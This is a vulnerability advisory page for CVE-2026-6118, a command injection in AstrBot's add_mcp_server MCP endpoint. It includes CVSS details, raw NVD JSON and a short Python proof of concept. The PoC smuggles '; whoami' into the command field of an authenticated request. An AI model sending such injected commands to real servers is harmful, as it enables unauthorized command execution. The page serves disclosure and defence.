Security Vulnerability Report
中文
CVE-2026-6118 CVSS 6.3 MEDIUM

CVE-2026-6118

Published: 2026-04-12 05:16:02
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in AstrBotDevs AstrBot up to 4.22.1. Impacted is the function add_mcp_server of the file astrbot/dashboard/routes/tools.py of the component MCP Endpoint. This manipulation of the argument command causes command injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

AstrBotDevs AstrBot <= 4.22.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_url = "http://<target_ip>:<port>/api/tools/add_mcp_server" # Attacker's session cookie (required due to PR:L) cookies = { "session": "<low_privilege_session_cookie>" } # Payload attempting to inject a command (e.g., `whoami`) # Assuming the context allows shell command chaining malicious_command = "127.0.0.1; whoami" data = { "command": malicious_command, # Additional parameters required by the endpoint "name": "test_server" } try: response = requests.post(target_url, cookies=cookies, data=data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Exploit failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6118", "sourceIdentifier": "[email protected]", "published": "2026-04-12T05:16:01.560", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in AstrBotDevs AstrBot up to 4.22.1. Impacted is the function add_mcp_server of the file astrbot/dashboard/routes/tools.py of the component MCP Endpoint. This manipulation of the argument command causes command injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/AstrBotDevs/AstrBot/", "source": "[email protected]"}, {"url": "https://github.com/AstrBotDevs/AstrBot/issues/7169", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/792655", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/356978", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/356978/cti", "source": "[email protected]"}]}}